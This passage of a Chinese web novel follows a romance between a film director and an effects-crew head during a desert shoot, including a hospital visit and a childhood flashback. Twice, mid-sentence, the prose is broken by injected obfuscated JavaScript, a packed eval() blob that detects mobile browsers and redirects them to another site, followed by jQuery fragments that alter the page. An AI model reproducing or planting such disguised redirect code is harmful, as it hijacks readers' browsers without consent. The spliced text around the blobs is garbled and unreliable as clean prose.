吐槽了好一会儿的人悻悻看向卢辛,卢辛干咳一声,“那个,对啊,我活儿也没干完呢,你先回去吧一会儿找你吃午饭。”
被怼的人是卢辛老乡,是个小演员,在组里饰演两个角色。
前面一个月都闲着没开拍,他就时不时来仓库找卢辛唠嗑,物理特效小组的工作时间比较自由,就算是工作时间来玩梁有志也没说过什么。
这是头一次发脾气,还当着这么多人的面。
陈美君正在维修两个坏了的蜥蜴人尾巴,别人不知道她还不知道吗?燕青河来了几次都是她守门的。
“老大,他们就是前面这个月休息得太舒服了,拍戏哪有轻松的。”
“对对对。”卢辛也赔笑,“咱们可是《蓝色图腾》诶!肯定高标准高要求啊。”
陈美君:“就是!燕导没错!你别生气了老大。”
梁有志一年也挂不了几次脸,“关他什么事儿?又关我什么事!我说的是他干扰我们工作了!工作时间!!”
话音刚落,道具组的司机赵哥从挡风帘后钻进来,“饭点儿了!吃饭去!”
梁有志偷偷看一眼手表,接着拿起冲锋衣外套,“这狗东西居然耽误我们到中午!卢辛叫他下次别来了。”
“收到!”卢辛耍宝一样敬个礼,“再来放solo。”
陈美君:“别搞solo,算我求你。”
仓库区没有食堂,道具组每次吃饭都去别的酒店的食堂,一共两家,离他们比较近的就是导演组和演员组住的益丰酒店。
物理特效组人少,经常是一个人去给全组带饭回来。
梁有志一般带早餐,因为他年纪大不睡懒觉。
但今天他们组去了三个。
梁有志挤上道具组的车,把卢辛拉下来自己坐副驾驶,“赵哥,你今天怎么没去片场?”
“吃完饭了就去,这两天拍夜戏多。”赵哥说。
“拍到几点?”
“昨天十一点半,今天估计也差不多吧。”
梁有志缩着肩膀双手抱胸,“累吧。”
“还行。”赵哥两脚油门出发,“干这行有不累的啊,昨天黄真真都流鼻血了,人小姑娘都没喊苦喊泪。”
黄真真是剧组的女二号,在电影里饰演那位天生神力的妹妹飞音。
梁有志闻言调整上半身坐直,“确实,还是赵哥通透,有些人入行那么多年了也没点数,对吧老卢君君。”
“干嘛呀。”赵哥笑了下,“阴阳怪气的。”
梁有志:“哎呀,看出来了?”
到了酒店餐厅拿上餐盘,大家都要去打饭,梁有志磨磨蹭蹭地拿着手机不知道在看什么。
磨蹭半天才过来坐下,盘子里的饭菜也不多。
一顿饭东张西望,陈美君忍不住问:“老大,找谁呢?”
梁有志筷子在炒鸡里乱戳,“怎么不见你找晓迪吃饭?”
“她啊,被陈导叫过去了。”陈美君喝口水。
梁有志:“陈导?”
赵哥插了句:“昨天陈导也来片场了,俩导演在帐篷里不知道说什么,停工一个多小时。”
梁有志听完沉默地点点头,不再东张西望了。
燕青河跟两个主摄重新盘了下进度,如果没有意外的花半个月后就能赶上其他组的进度,因为开机时间晚,别的组前前后后来借过B组很多设备,要了两个星期还是有一半没要回来。
“周末的戏必须要加轨道和灯了。道具借了我们可以协调,借走的两个灯光师一直不回来实在很过分。”燕青河跟朱晓迪说,说到这里他转过身来:“晓迪,明天上午可能要麻烦你早起,你带我去,我亲自要。”
朱晓迪点点头,“对不起啊导演,这事儿我没办好。”
燕青河拿着手机在群里发消息,“不是你没办好,而是你办不好。”
说完他从口袋里抽出对讲机,一边说着十分钟开拍一边往帐篷外走了。
朱晓迪站在原地琢磨了一下燕青河的话,乍一听像是说自己没用,认真一琢磨好像是说不是自己的错呢,朱晓迪笑了笑,脚步轻快跟上燕青河的脚步。
下午五点,道具组最后一辆车到了,拉着一些布景道具和盒饭。
燕青河对吃饭没什么兴趣,朱晓迪拿什么他吃什么。
“真真,虽然你已经跟男主的演员共事几个月了熟悉了,但飞音是第一次见到金,他是第五个带来姐姐消息的人,你对他……”
讲完戏,盒饭已经放在旁边,黄真真的助理也在等待她回到自己的帐篷去休息吃饭。
燕青河意识到耽误了吃饭,带着歉意说:“抱歉,去吃饭吧。”
“没有没有。”黄真真摆手,依旧充满精力,摆了摆手走了。
朱晓迪:“燕导,你赶紧吃饭吧,都凉了。”
燕青河嗯了一声,拿起盒饭拆了盖,“没事,能吃就行。”
他一边说话一边看着手机的消息,没注意到朱晓迪鬼鬼祟祟的挪出帐篷,之后梁有志就出现在帐篷门口。
“你怎么来了?”燕青河站起来。
只吃了三分之一的盒饭被放在旁边的折叠椅上,紧绷的眼睛多了一点波光,他笑着:“进来,坐。”
“哦我就帮道具组送点东西。”梁有志挪了一步,跨进了帐篷里,却不坐下,他穿着那件皮衣,戴了个黑色的冷帽,双手都插在裤兜里。
天色已经暗了,他的眼神看不清,“你们这儿挺艰苦。”
“还好,就是这几天拍夜戏比较难。”燕青河走到他面前去。
“你吃你的,不用管我,我马上就回去了。”
燕青河往外看了眼,“那你快走吧,天要黑了,特别冷。”
梁有志:“……”
“等赵哥呢。”梁有志说着拿出手机看了眼,“不过应该快了,我去外面等吧。”
“不不,在这儿等。”燕青河着急地伸手拦了一下,他穿着剧组批发的长款羽绒度,质量很差,里面是他自己带的羊绒毛衣,看起来软软的很暖和。
梁有志打蛇顺杆爬,往帐篷里又走了几步,“你赶紧吃饭,要凉了。”
其实已经凉了,但燕青河坐回原本的位置拿起盒饭继续吃,今天的菜有红烧羊肉,凉了之后腥臊气味有点重。
燕青河不挑食,塞进嘴里就嚼,嚼两下就咽。
梁有志也不坐,就这么站着,看到燕青河吃得那么没有食欲又那么快心里有点不是滋味。
这样吃三个月他得瘦成什么样。
搞不好比十二年前第一次见他还瘦,瘦得人在衬衫里晃荡,背起来硌得慌。
“燕青河。”
“嗯?”
梁有志又走近了一些,帐篷里的灯就在他头顶,有种诡异的幽默,“你们组工作强度好大,会不会太累了?“
“有点,但没办法,要赶进度。”
“揠苗助长可能会出问题的。”
燕青河吃掉最后一口冷掉的饭,他低着头偷偷笑,随后抬起头来看着梁有志,“是不是听别人骂我了?”
“……”梁有志抖抖腿看着帐篷外面。
“没事。”燕青河一边收拾盒饭一边说:“我知道,但我不在乎。”
梁有志每有太意外,微不可见地点了下头,“哦,随便啊,都行。反正跟我没什么关系。”
燕青河:“你很担心我吗?”
梁有志:“不是。”
“那你干嘛特地跑到片场来?”
“开车,卸货。”
“梁有志。”燕青河站起来,外面吵吵嚷嚷,风声也很大,他靠近了些:“我接这个工作的时候就知道会这样,B组进度落后我就要赶进度,因为时间一到剧组撤走了我们更难拍,或者说其他组撤了只留我B组在这里更难推进,不是时间的问题,是剧组资源配套的问题。我来,就是要做这个恶人的。”
梁有志撇开脸,“你心里有数就好。”
“谢谢你担心我。”
“我没有担心你。”
燕青河唇角上扬:“你明明就是。”
“你好自恋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584350|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”梁有志着急地把手从兜里抽了出来,“你就是这样自我,自说自话,莫名其妙的出现又莫名奇妙的离开。”
“啊?”燕青河不太理解。
梁有志:“你装什么?你不就是在钓我吗?又是送药又是说很想我,撩拨完了就消失了不管了。”
说完似乎不解气,连着十一年前的帐再算一遍:“你果然和高中那会儿一样!”
他要走,燕青河差点没拦住。
因为太着急还撞到帐篷的门框上。
“梁有志,我这几天太忙了。”
“谁管你。”
燕青河站直,他总是这样笔挺地站着坐着。
“所以你的意思是你并不烦我,我可以继续去找你。”
“……”
“或者按你的说法,撩拨?我可以继续撩拨你?”
“你有病吧?”梁有志无语得闷头往外走,为了避让燕青河不小心撞到门框,倒是不疼,只是冷帽被撞歪了看起来像刘能。
他气不过又回头说:“我没有那么说!”
燕青河被梁有志滑稽的样子逗笑,他后退一些留出离开的空间。
“明天晚上我来找你。”
他看着梁有志微微勾着背,在风中穿行,拐过帐篷消失在漫天黄沙中。
燕青河旖旎的情绪维持到七点整,开拍了。
燕青河又感冒了,西北无人区边缘实在不是什么拍戏的好地方,燕青河已经连轴转半年,一直在硬撑。
那天中午吃完午饭就腹泻,下午就开始发热。
朱晓迪随身带着医疗包,先给燕青河吃止泻药。
药片落在燕青河掌心的时候她才注意到,长得这么帅这么清冷白净的燕导居然有这样粗糙地一只手,他掌心的茧、粗鲁的纹路和这些天他在片场强硬的态度相得益彰。
“晚上回去早点睡吧,导演。”朱晓迪是真的关心燕青河。
虽然他做事很直接强硬,不像其他年轻导演那样照顾他人情绪,但在这样的环境中朱晓迪发觉自己的工作效率变得很高,虽然忙,但是知道自己在忙什么以及什么时候能忙完。
她手里的工作都是她能完成的工作。
燕青河告诉她的,都是她不知道的。
她觉得燕青河挺好,因此和几个B组工作人员呛嘴好几次。
那些员工现在抱怨燕青河强度大,但其实换了个强度不大但后期进度跟不上要延期的导演,他们一样抱怨。
朱晓迪喜欢燕青河,撕了自己带的六个暖宝宝给燕青河贴。
几天的大夜戏在晚上十点全部结束,明天可以休息一整天。燕青河在车里睡了一觉,回到酒店冲完澡换了身衣服又出门了。
在一楼大堂碰见朱晓迪。
“导演,你怎么还不休息?退烧药吃了吗?”朱晓迪是下楼拿快递。
“有事情,出去一下。”燕青河穿着保暖的羽绒服,围了条蓝色的围巾,确实不像故意出门吹冷风作践自己的。
燕青河没车,走过去的。
这次发烧了腿软,走了二十五分钟。
此时已经快到十二点,燕青河实在是担心梁有志已经回去休息了。
街道上连只猫都没有,燕青河从主街拐进岔路,远远看到物理特效小组的仓库还亮着灯,昏沉的脑袋变得轻快一些。
燕青河小跑过去,为了保持平衡不得不把手从羽绒服口袋里拿出来。
“有人吗?”燕青河在卷帘门外喊了一声。
卷帘门拉了一半,没有全关上,但里面没有人应声,燕青河用手去拉,但好像被锁住了拉不动。
燕青河站在原地,发烫的脑袋告诉自己,实在是太晚了。
是因为太晚了所以他不在了,应该早一点来找他。
又有些恼怒,总是处理不好自己的事情导致失约梁有志。
十七岁的梁有志或许会把自行车放在约定的公园长椅旁表示我在等你,但二十八岁的梁有志也许会在梦里骂自己性格恶劣毫无长进。
燕青河猜想梁有志已经回去休息了,仓库半锁亮灯只是常态,但他还是在门口的台阶上坐下。
西北的夜实在太安静了,燕青河想不会再有谁来,戴上耳机听两首歌。
他想梁有志肯定等过自己的,那自己也等等他。
燕青云想着见到他那天他在听的歌,听了首一样的。
像过去十一年里无数个夜晚一样,燕青河追随着梁有志的步伐。
温度几乎要零下了,燕青河觉得自己纤瘦的身体似乎处在一个蜕变阶段,也许高烧一退一切都会好起来。
他这样想着,听着耳机里的歌循环到了《Luv(sic)pt4》。
小狗冲过来的时候燕青河正看着歌词,甚至没反应过来solo应该会和人一起出现。
“solo!”梁有志喊。
燕青河抬头,看到梁有志走过来,他抬头说:“我以为你已经休息了。”
梁有志表情不爽,“所以燕导还在这个里干什么呢?”
他心里有气,觉得自己像上了钩的鱼,又像得了舔狗病的solo,怎么就不能往床上一躺关了灯睡大觉呢?
明明就是他无声无息地爽约。
“我……”燕青河尝试站起来,却在起身地瞬间猛然后倒,狠狠砸在卷帘门上发出哐当一声,耳朵里的蓝牙耳机也掉下来一只。
“小河!”
梁有志冲过去托着他,看到他手机上亮着着。
那句歌词是:“wait for an answer and make a suggestion.”
8. 第 8 章
燕青河真的没有装可怜博同情的念头。
不过现在看来梁有志应该不会相信他了,燕青河躺在门诊的床上,旁边还有一个同样高烧不退过来吊点滴的女孩,不像本地人,一问是A组的2摄。
他们刚吊一会儿女孩就吊完走了。
“梁有志。”燕青河轻声喊他。
梁有志坐在椅子上,靠着墙壁,不看手机也不说话,就那么坐着。
床头柜上放着一杯热水,是梁有志去打的。
刚刚着急地把燕青河送来急诊,除了兜里的手机什么都没带。
燕青河:“要不你先回去吧,药水打完我自己回酒店。”
梁有志终于抬眼看他,“你怎么回?”
“我,”燕青河没车,打完点滴要是再吹着风走回去,估计到酒店门口又倒下了,他无奈叹口气,“我头好疼。”
“差点把我们卷帘门撞出坑,能不疼么。”梁有志说着忽然起身,按了下旁边的呼叫铃。
原来在吊的这瓶药水没了。
“今天吃坏肚子了,外面风大一下子没抗住才发烧的。”燕青河和他解释,“我屋里有药,准备睡前吃,一般吃了药睡一觉第二天就好了。刚刚晕那一下可能是有些低血糖,我有点饿了。”
梁有志:“饿了就去吃饭,蹲我门口干嘛?”
尽管燕青河也觉得一个成年人没照顾好自己的身体很不好,但这段时间是非常时期工作量巨大,自己也是为了守约才在那里等了一会儿的。
这时候护士过来,确认姓名之后给燕青河换了一瓶新的药水。
她一边调整流量一边说:“这个有点痛哦,不要自己开大。”
“谢谢。”燕青河说。
梁有志看他虚弱的样子,不知为何胸口憋着气。
好生气!
但他身体不好我气什么?更气了!
“你想吃什么?”梁有志问。
燕青河确实有点饿,“都可以,但现在外面应该都关门了吧。”
梁有志:“煮面条吃吗?”
“吃。”燕青河说完,还笑了一下。
他现在脸色苍白,嘴唇也有些干裂了,瘦瘦一条躺在病床上笑显得更惨。
梁有志刚刚还有点莫名生气,现在没法儿气了。
他又不是故意的,气他干嘛。
梁有志走之前千叮咛万嘱咐叫燕青河别睡着,得看着药水,说自己很快就回来。
半小时后梁有志回来,除了装在保温桶里的面条还有一个纸袋,里面是暖宝宝和一条围巾。
医院里安静得能听到针掉在地上的声音。
一碗煮得软烂的面条对今天吃坏肚子的燕青河来说再适合不过。
“谢谢你,梁有志。”燕青河说。
吃过两口热乎面条的嘴唇有了些血色,氤氲蒸汽拂过面庞模糊了眼神,倒是他纤瘦的手腕白花花的晃眼睛。
脱了羽绒服外套的燕青河看起来很瘦,只比十二年前初见时好一点点。
刚刚抱他上车的时候很轻松就抱起来,手长腿长的,似乎不到七十公斤。
这些年幻想过很多次他过的是什么生活。
以前听说他家里当官的,在原本生活的城市有头有脸。开家长会的时候他妈妈背着名牌包,姑姑和妹妹都在国外,他会那么多特长,弹钢琴、射箭、骑马,书法也很好,出板报的时候他写过两次。
梁有志幻想他过着很好的生活,小城市只是他生活中的一个意外、一个过渡。
所以他理所应当的优点怨恨燕青河。
他幻想自己是被伤害的一方,因为他付出了真心实意,他是个吊儿郎当的小城男孩,被他玩弄了感情。
但这么多年了就是忘不掉,没办法呀,那时候的燕青河太漂亮太好了。
所有人都因为他是个显眼包没皮脸而粗鲁对待他时,只有燕青河每次都选择他,说梁有志很好。
他不切实际的梦想,燕青河也说好厉害。
梁有志坐在旁边看着,“燕青河,你这些年过得怎么样?”
“嗯?”燕青河愣了下,咽下嘴里的食物,差点脱口而出“很好啊”,但还好没有说。
“我不知道怎么说,不知道算不算好。”
“你吃。”梁有志提醒他。
燕青河又吃了两口,“我觉得现在挺好的,你看我才不到二十九岁就当上导演了,还能接这么大的项目,虽然做起来很吃力但我觉得能完成就很厉害了。”
梁有志忽然笑了下。
“你笑什么。”燕青河脑袋还有点昏沉。
梁有志说没。
“你明明笑了。”
“想笑就笑咯。”梁有志说着,抬了下手示意燕青河别光说话赶紧吃面。
燕青河把荷包蛋挑出来吃了,“你觉得我不厉害吗?”
“厉害厉害。”
“你都不诚心的。”燕青河说。
梁有志撇开脸,看着墙上不知道还能不能用的27寸电视,“厉不厉害又不是我说了算。”
燕青河偏头:“如果不是你我都不会走上这一行的。”
“……”
“真的。”
“你干嘛。”梁有志忽然挪着椅子往后一点,“言重了吧。”
燕青河终于把面条吃完,他放下筷子,“梁有志,那你呢,你过得怎么样?其实我一直关注着你,但你们工作室都搜不到太多信息。”
梁有志耳朵烫得不行,“关注我干嘛……”
“我……”燕青河抿唇,“我们是老同学啊,是朋友。”
燕青河觉得自己已经很尽力地小心说话,不让梁有志生气了,但话一说出口,就明显感觉得到梁有志表情垮了下来。
“不对吗?”燕青河声音很小。
“很对。”梁有志说着,起身开始收拾保温桶和桌板,全程没有和燕青河对视一眼,收完椅子一挪,又回到靠墙的位置端坐着。
“梁有志你又生气了吗?”燕青河问。
梁有志双手抱胸:“我生什么气,燕导好好休息吧弄完赶紧走,我也困了。”
燕青河手指抠着掌心,“好吧。”
燕青河实在是搞不懂今晚的剧情发展,明明自己特地去等梁有志但梁有志很生气,后面缓和了一些感觉氛围还不错而且自己小心翼翼地说话了,但梁有志又莫名生气。
车停在益丰酒店门口,已经是凌晨两点,大厅的灯亮着,一个人都没有,就连前台也在折叠床上躺下了。
“谢谢你。”燕青河说。
梁有志手放在方向盘上,“没事,谁让你倒在我们仓库门口。”
燕青河沉默片刻,骨气勇气问他:“你怎么又生气了?”
“又?”梁有志皱眉的时候有点凶,“燕导的意思是我是个很爱生气的人咯?我小心眼,我不但小心眼我还没皮脸。”
燕青河讪讪,一时放松没注意,居然把心里话说了出来:“吃炸药了啊……”
梁有志:“……”
燕青河回过神来,“对不起我不是那个意思。”
梁有志:“燕导请下车吧。”
燕青河还想再狡辩,但梁有志看起来快要气炸了。
燕青河目送梁有志的车离开,晚上风大,吹得他裸露在外的脖子凉飕飕。
他瑟缩着,缓缓转身上楼,忽然想起梁有志带来的那个纸袋都没给自己呢。
回到房间倒头就睡。
次日依旧七点多醒来,燕青河拿着手机查阅消息,挑选必要的消息回复。今天休息,燕青河独自下楼吃早餐。
特地坐在入口的位置,没等到梁有志等到了陈美君。
“今天你来买早餐吗?”燕青河看似熟络地问。
陈美君没跟燕青河说过两句话,这几天到处都是他严厉不讲情面的传闻,她拘束地回答:“嗯,他们都没起呢,好不容易休息一天。”
燕青河点点头,“梁有志也没起吗?”
“没。”陈美君说:“昨晚不知道干嘛去了凌晨两点多才回宿舍,回来得时候那破丰田轰隆隆的,把我给吵醒了。”
燕青河:“他送我去医院了。”
陈美君眼睛睁大,“啊?”
“我们约好晚上见面,但是我忽然发烧晕倒,所以他送我去医院吊点滴。”
“约见面干嘛?哦不,我的意思是……导演你退烧了吗?”陈美君脚趾扣地。
燕青河笑笑:“已经退烧了,总之是我不好,如果他起床了能给告诉我一下吗?美君。”
他们本来不熟,但燕青河长得这么好看,这样笑着看人用微微沙哑的嗓音喊自己的名字,陈美君都有些不好意思了,她低头害羞笑笑,刚起床的蛋卷头在头顶凌乱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584351|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她点点头:“好的呀。”
互加微信的时候陈美君看到燕青河的微信头像。
“咦?”陈美婷看向燕青河,“导演,你也是星战迷吗?”
燕青河:“也?”
陈美君:“我们老大也是,之前他的头像就是3PO,那个金色的机器人管家。”
“是么。”燕青河抿唇笑着,不解地歪了歪脑袋,“他什么时候改的?”
陈美君:“就前阵子,突然换的,他都用了好多年了。”
燕青河:“我知道了,谢谢。”
吃完早餐回到酒店,燕青河和在北京的制片人谭姐打了个视频电话,交流完工作,谭姐看着电脑屏幕里那张憔悴的脸。
“还是得注意身体,别太着急,你看你都受不住了。”谭姐说。
燕青河笑:“我没问题。”
挂了视频,燕青云又打了过来,想起也好几天没说话,燕青河接通。
“小宝。”他亲昵地叫着燕青云。
但燕青云看他这脸色立刻不开心了,“你是不是又生病了,燕青河我跟你说你别不重视,身体不好也是会引发情绪问题的。”
燕青河安抚她:“就是发烧了。”
燕青云:“怎么老发烧啊,你可以发骚但不能发烧好吗?”
燕青河哭笑不得,笑了好一会儿才缓过来,“我知道了。家里好吗小宝?”
“都好都好。”燕青云也关心他,“你呢?对了上次的故事你是不是该更新一下了?”
“嗯……”燕青河调整了一下坐姿,喝了一口水,“上次说到哪儿了?”
“你不爱吃包子。”
“哦对。”燕青河想了想,说:“当时我算不上是个好相处的同学,甚至可以说很冷漠,但梁有志像不在乎一样,他说可能是我没吃过好吃的包子。
“于是每天早上他都给我带一个尝尝。你知道的,我们家的早餐都很烦,梁有志那么说之后我居然不太在意家里的早餐了,每天都随便吃两口就走,爸因此还很不开心,说我不尊重妈的劳动,那段时间爸的情绪很差,我能理解但却不能很好的消化。
“于是我就早早地出门,经常第一个到教室里。梁有志真的每天给我带一个包子,我发现包子其实不难吃,我最喜欢豆腐和包菜粉丝馅,梁有志喜欢大肉包和豆沙馅,甜咸交换着吃。当梁有志的同桌真的很开心,他还有一群朋友,夏颐、陈斯漾还有贺冰,贺冰是班长也是这几个人里最沉稳靠谱的,陈斯漾整天抱着言情小说看,夏颐是个话痨逮着机会就要找人说话。
“梁有志喜欢耍宝,我总是沉默,因为骨折我被梁有志带进了这个朋友圈子,课间他们会围过来聊天,乱七八糟什么都说。
“梁有志跟我说他爸爸已经去世了,妈妈是改嫁到这个城市来的,尽管她勤劳开朗,非常能干,但嫁过来之后继父就生病了,很多人说他妈妈克夫。燕青河跟梁有志说他们一家是被流放过来的,整个家族里最优秀的大伯被爱人背叛后心死自杀了,依附大伯的父亲成了弃子。
“放学之后我不能跟他们一起玩,因为爸妈不让。十二月份,是学校要办129运动会,我们说好一起出个节目,我跟爸妈说好了周末要出去排练,他们答应了。但第三次就出了问题,那天爸妈吵架,妈说爸出轨爸说妈太敏感,总之吵得不可开交电视都砸坏了。我劝架被老妈塞到厕所反锁起来,他们说着十几年的婚姻说着两个小孩,还有去世的大伯,不断有东西砸到卫生间的门上,我当时很害怕……”
燕青云小声喊了声“哥”。
“我记得那天天气特别好,卫生间的小窗子外面是橙色的云彩,我蜷缩在地上,忽然在爸妈的争吵中听到梁有志的声音。我从小窗子里往外看,发现梁有志就站在楼下,也发现爸妈的争吵声早已穿透左邻右舍。梁有志着急地叫我别哭,我才发现我哭了,他说给我个好东西,然后从楼下扔了个MP3上来,一个黑色的索尼mp3。
“他示意我戴上耳机,我戴上之后发现声音很大,瞬间把爸妈吵架砸东西的声音隔绝在外。我站在二楼的小窗子看着他,他那天穿着一套绿色的卫衣套装,拿着饮料瓶子当话筒,把绿化带当舞台无声地耍宝唱着歌,他就在下面陪着我,直到爸妈吵完架。”
燕青云眼眶都湿润了,“耳机男孩。”
燕青河笑着看向镜头:“嗯,是他。”